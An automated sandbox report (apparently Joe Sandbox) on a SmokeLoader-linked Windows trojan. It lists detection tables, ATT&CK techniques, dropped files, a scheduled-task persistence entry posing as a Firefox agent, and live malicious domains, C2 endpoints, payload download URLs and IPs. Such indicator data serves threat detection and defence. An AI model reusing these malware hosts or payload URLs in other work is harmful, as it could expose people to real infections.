Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	531 Security Software Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	123 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	231 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	13 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	231 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	612 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Hidden Files and Directories	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs
file.exe	100%	Avira	HEUR/AGEN.1312455
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\aueuggs	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\Temp\EDBC.exe	100%	Avira	HEUR/AGEN.1316997
C:\Users\user\AppData\Roaming\aueuggs	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EDBC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6E11.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	3%	Virustotal		Browse
C:\Users\user\AppData\Roaming\aueuggs	34%	ReversingLabs
C:\Users\user\AppData\Roaming\aueuggs	46%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
gudintas.at	11%	Virustotal	Browse
malenursenect.fun	8%	Virustotal	Browse
fiancejiveimp.fun	0%	Virustotal	Browse
h170811.srv22.test-hf.su	9%	Virustotal	Browse
farformafor.fun	0%	Virustotal	Browse
fullppc.xyz	18%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	0%	URL Reputation	safe
http://ns.adob	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://rosatiauto.com/tmp/	0%	URL Reputation	safe
http://kingpirate.ru/tmp/	100%	URL Reputation	malware
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	0%	URL Reputation	safe
http://pik96.ru/tmp/	100%	URL Reputation	malware
http://gudintas.at/tmp/	100%	URL Reputation	malware
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://java.sun.com	0%	URL Reputation	safe
http://malenursenect.fun/A	100%	Avira URL Cloud	malware
fiancejiveimp.fun	0%	Avira URL Cloud	safe
http://malenursenect.fun/apil	100%	Avira URL Cloud	malware
http://fiancejiveimp.fun/apiP	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/apill	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/api)	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/apill	0%	Virustotal		Browse
http://h170811.srv22.test-hf.su/186.exe	100%	Avira URL Cloud	malware
http://metro.mahapps.com/winfx/xaml/iconpacks	0%	Avira URL Cloud	safe
fiancejiveimp.fun	0%	Virustotal		Browse
http://malenursenect.fun/api	100%	Avira URL Cloud	malware
http://fiancejiveimp.fun/?	0%	Avira URL Cloud	safe
http://metro.mahapps.com/winfx/xaml/iconpacks	0%	Virustotal		Browse
http://fiancejiveimp.fun/B	0%	Avira URL Cloud	safe
http://malenursenect.fun/8yP	100%	Avira URL Cloud	malware
http://fiancejiveimp.fun/api	0%	Avira URL Cloud	safe
http://malenursenect.fun/apiQu-	100%	Avira URL Cloud	malware
http://malsvchost.exe	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/api	0%	Virustotal		Browse
http://malenursenect.fun/	100%	Avira URL Cloud	malware
http://fiancejiveimp.fun/apiy	0%	Avira URL Cloud	safe
http://malenursenect.fun/api9uU	100%	Avira URL Cloud	malware
http://malenursenect.fun/Qy	100%	Avira URL Cloud	malware
http://fiancejiveimp.fun/Y	0%	Avira URL Cloud	safe
http://193.149.185.139/ofdskiewerews/update.exe	0%	Avira URL Cloud	safe
http://malenursenect.fun/	8%	Virustotal		Browse
http://fiancejiveimp.fun/apil	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/apik	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/p	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/apiq	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/h	0%	Avira URL Cloud	safe
http://malenursenect.fun/Fy	100%	Avira URL Cloud	malware
http://fiancejiveimp.fun/	0%	Avira URL Cloud	safe
http://malenursenect.fun/apiH	100%	Avira URL Cloud	malware
http://malenursenect.fun/0	100%	Avira URL Cloud	malware
fullppc.yz	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/apil	0%	Virustotal		Browse
http://fiancejiveimp.fun/apillr	0%	Avira URL Cloud	safe
http://fiancejiveimp.fun/	0%	Virustotal		Browse
http://malenursenect.fun/api)t%	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gudintas.at	211.181.24.133	true	true	11%, Virustotal, Browse	unknown
malenursenect.fun	104.21.1.18	true	true	8%, Virustotal, Browse	unknown
fiancejiveimp.fun	104.21.81.17	true	true	0%, Virustotal, Browse	unknown
h170811.srv22.test-hf.su	91.227.16.22	true	true	9%, Virustotal, Browse	unknown
farformafor.fun	unknown	unknown	true	0%, Virustotal, Browse	unknown
fullppc.xyz	unknown	unknown	true	18%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
fiancejiveimp.fun	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://h170811.srv22.test-hf.su/186.exe	true	Avira URL Cloud: malware	unknown
http://malenursenect.fun/api	true	Avira URL Cloud: malware	unknown
http://fiancejiveimp.fun/api	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://rosatiauto.com/tmp/	true	URL Reputation: safe	unknown
http://kingpirate.ru/tmp/	true	URL Reputation: malware	unknown
http://pik96.ru/tmp/	true	URL Reputation: malware	unknown
http://gudintas.at/tmp/	true	URL Reputation: malware	unknown
http://193.149.185.139/ofdskiewerews/update.exe	true	Avira URL Cloud: safe	unknown
fullppc.yz	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	6E11.exe.1.dr	false	URL Reputation: safe	unknown
http://fiancejiveimp.fun/apiP	RegAsm.exe, 00000016.00000002.1121991366.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	explorer.exe, 00000001.00000000.900098420.00007FFA11519000.00000002.00000001.01000000.00000006.sdmp	false	URL Reputation: safe	unknown
http://malenursenect.fun/A	AppLaunch.exe, 00000019.00000002.1149924480.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/intl/en_uk/chrome/https://www.google.com/intl/en_uk/chrome/https://www.google	RegAsm.exe, 00000016.00000002.1122515831.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1122925275.0000000003BC7000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fiancejiveimp.fun/apill	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://malenursenect.fun/apil	AppLaunch.exe, 00000019.00000002.1149273611.00000000053D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://metro.mahapps.com/winfx/xaml/iconpacks	6E11.exe, 00000015.00000000.1046466838.0000000000892000.00000002.00000001.01000000.00000008.sdmp, 6E11.exe.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/search?q=.net	AppLaunch.exe, 00000019.00000002.1149623995.00000000078FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ns.adob	explorer.exe, 00000001.00000000.896581673.0000000002E89000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fiancejiveimp.fun/api)	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	AppLaunch.exe, 00000019.00000002.1149924480.0000000007A9C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/intl/en_uk/chrome/	RegAsm.exe, 00000016.00000002.1122515831.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1122925275.0000000003BC7000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fiancejiveimp.fun/?	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fiancejiveimp.fun/B	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3D.net%2B4.8.1%26oq%3D	AppLaunch.exe, 00000019.00000002.1149623995.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://malenursenect.fun/8yP	AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://malenursenect.fun/apiQu-	AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://malsvchost.exe	RegAsm.exe, 00000016.00000002.1122925275.0000000003C6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://malenursenect.fun/	AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149924480.0000000007C4B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149924480.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149273611.00000000053B6000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.000000000792A000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://sectigo.com/CPS0	6E11.exe.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA	RegAsm.exe, 00000016.00000002.1122515831.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1122925275.0000000003BC7000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	explorer.exe, 00000001.00000000.900098420.00007FFA11519000.00000002.00000001.01000000.00000006.sdmp	false	URL Reputation: safe	unknown
http://fiancejiveimp.fun/apiy	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://malenursenect.fun/api9uU	AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/setprefs?sig=0_d7toVxfMKzFj4yeYEy5xHRJrV_I%3D&source=en_ignored_notification&	AppLaunch.exe, 00000019.00000002.1149623995.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://malenursenect.fun/Qy	AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fiancejiveimp.fun/Y	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfp	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	6E11.exe.1.dr	false	URL Reputation: safe	unknown
http://fiancejiveimp.fun/apil	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fiancejiveimp.fun/apik	RegAsm.exe, 00000016.00000002.1121991366.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fiancejiveimp.fun/p	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fiancejiveimp.fun/apiq	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	6E11.exe.1.dr	false	URL Reputation: safe	unknown
https://java.sun.com	explorer.exe, 00000001.00000000.896996023.00000000067AB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fiancejiveimp.fun/h	RegAsm.exe, 00000016.00000002.1121991366.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://malenursenect.fun/Fy	AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://fiancejiveimp.fun/	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://malenursenect.fun/apiH	AppLaunch.exe, 00000019.00000002.1149273611.00000000053D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://malenursenect.fun/0	AppLaunch.exe, 00000019.00000002.1149623995.000000000792A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fiancejiveimp.fun/apillr	RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://malenursenect.fun/api)t%	AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
200.92.136.254	unknown	Mexico	13999	MegaCableSAdeCVMX	true
104.21.1.18	malenursenect.fun	United States	13335	CLOUDFLARENETUS	true
211.181.24.133	gudintas.at	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
193.149.185.139	unknown	Denmark	15411	DANISCODK	true
172.67.137.125	unknown	United States	13335	CLOUDFLARENETUS	true
104.21.81.17	fiancejiveimp.fun	United States	13335	CLOUDFLARENETUS	true
172.67.151.219	unknown	United States	13335	CLOUDFLARENETUS	true
186.182.55.44	unknown	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	true
180.94.156.61	unknown	Macau	4609	CTM-MOCompanhiadeTelecomunicacoesdeMacauSARLMO	true
91.227.16.22	h170811.srv22.test-hf.su	Russian Federation	207027	EXIMIUS-ASRU	true
186.147.159.19	unknown	Colombia	10620	TelmexColombiaSACO	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1318516
Start date and time:	2023-10-03 09:53:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@12/11@89/12
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 146 Number of non-executed functions: 128
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, onedsblobprdeus17.eastus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, tse1.mm.bing.net, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, g.bing.com, watson.telemetry.microsoft.com, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:54:19	Task Scheduler	Run new task: Firefox Default Browser Agent 2BF8F19A752EACC8 path: C:\Users\user\AppData\Roaming\aueuggs
09:54:01	API Interceptor	133936x Sleep call for process: explorer.exe modified
09:55:10	API Interceptor	1x Sleep call for process: 6E11.exe modified
09:55:11	API Interceptor	1x Sleep call for process: RegAsm.exe modified
09:55:17	API Interceptor	1x Sleep call for process: AppLaunch.exe modified
09:55:20	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
200.92.136.254	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	BgL6t8Fl3u.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
211.181.24.133	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Fabookie, RedLine, SmokeLoader	Browse	colisumy.com/dl/build2.exe
	xKBUmzYvEw.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	gudintas.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	SecuriteInfo.com.Win32.DropperX-gen.2236.8653.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/
	file.exe	Get hash	malicious	SmokeLoader	Browse	taibi.at/tmp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gudintas.at	file.exe	Get hash	malicious	SmokeLoader	Browse	211.53.230.67
	file.exe	Get hash	malicious	SmokeLoader	Browse	190.224.203.37
	file.exe	Get hash	malicious	SmokeLoader	Browse	211.104.254.139
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	95.107.163.44
	file.exe	Get hash	malicious	SmokeLoader	Browse	181.170.86.159
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader	Browse	211.59.14.90
	file.exe	Get hash	malicious	SmokeLoader	Browse	186.182.55.44
	VYACm4h0WB.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	186.147.159.19
	file.exe	Get hash	malicious	SmokeLoader	Browse	211.119.84.112
	file.exe	Get hash	malicious	SmokeLoader	Browse	115.88.24.200
	uDtn1lMsJR.exe	Get hash	malicious	SmokeLoader	Browse	190.12.87.61
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	37.34.248.24
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	211.171.233.129
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	187.18.108.158
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	84.224.216.79
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	124.43.19.179
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	211.181.24.132
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	195.158.3.162
	file.exe	Get hash	malicious	SmokeLoader	Browse	190.12.87.61
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	187.18.108.158
h170811.srv22.test-hf.su	lpD7vDCZmS.exe	Get hash	malicious	SmokeLoader	Browse	91.227.16.22
h170811.srv22.test-hf.su	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.227.16.22

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ET2321000550.exe	Get hash	malicious	FormBook	Browse	172.67.181.81
	Verification.html	Get hash	malicious	Unknown	Browse	172.66.47.164
	http://truquestbb.com/en/	Get hash	malicious	Unknown	Browse	172.67.38.66
	https://ipfs.io/ipfs/QmTpKiHf1hhVEJ3pYmFTqSegpJsqMXJTqMqKgCvFmrbkGr?filename=indextwinarmy.html#test.test@test.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	Pre-Advice_Report.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.45.138
	OC_7068_Change_of_Bank_Details.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	https://truquestbb.com/en/	Get hash	malicious	Unknown	Browse	172.67.38.66
	Segundo_comprobante_de_pago.vbs	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	DHL_#Ucd5c#Uc885_#Uc120#Ud558#Uc99d#Uad8c_175955...exe	Get hash	malicious	AgentTesla	Browse	162.159.135.232
	PO_2846DYK-NO_#20485-2000PCS.vbs	Get hash	malicious	AgentTesla	Browse	162.159.138.232
	Part_number_91875-11400_x_6.xls	Get hash	malicious	Unknown	Browse	104.21.60.158
	xD0aqsLra5.exe	Get hash	malicious	LimeRAT	Browse	172.67.34.170
	CnFC13XvMz.exe	Get hash	malicious	Glupteba	Browse	162.159.135.233
	CnFC13XvMz.exe	Get hash	malicious	Glupteba	Browse	162.159.135.233
	https://tafeconnect.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	eNLvmvek1n.elf	Get hash	malicious	Mirai	Browse	1.3.36.140
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=6yLQGwOu7EaLZPDQhpKnjmxmyy4bltxFvzQrw3h0_xtUM01VOU4yQThJNVAwODlHS0VaWDlHTlVXOS4u	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://members.smoove.io/lk0bggqzmnt5an53g8wozgbybghzbfot3inoeitynybnbsnedn1tyjknbrn8ans.ashx	Get hash	malicious	Phisher	Browse	104.21.58.35
	NordVPNSetup.exe	Get hash	malicious	BazaLoader, Mars Stealer, Vidar	Browse	104.19.185.81
	https://members.smoove.io/lk0bggqzmnt5an53g8wozgbybghzbfot3inoeitynybnbsnedn1tyjknbrn8ans.ashx	Get hash	malicious	HTMLPhisher	Browse	104.18.11.104
LGDACOMLGDACOMCorporationKR	file.exe	Get hash	malicious	SmokeLoader	Browse	211.119.84.111
	sora.arm.elf	Get hash	malicious	Mirai	Browse	211.40.72.77
	file.exe	Get hash	malicious	SmokeLoader	Browse	211.53.230.67
	c5cyKXVANd.elf	Get hash	malicious	Mirai	Browse	210.92.143.50
	file.exe	Get hash	malicious	SmokeLoader	Browse	210.182.29.70
	8qH833yMA5.elf	Get hash	malicious	Mirai	Browse	112.76.76.166
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	211.119.84.112
	afaO9EP4I2.exe	Get hash	malicious	Babuk, Djvu	Browse	211.168.53.110
	file.exe	Get hash	malicious	SmokeLoader	Browse	123.140.161.243
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader	Browse	211.119.84.111
	file.exe	Get hash	malicious	SmokeLoader	Browse	210.182.29.70
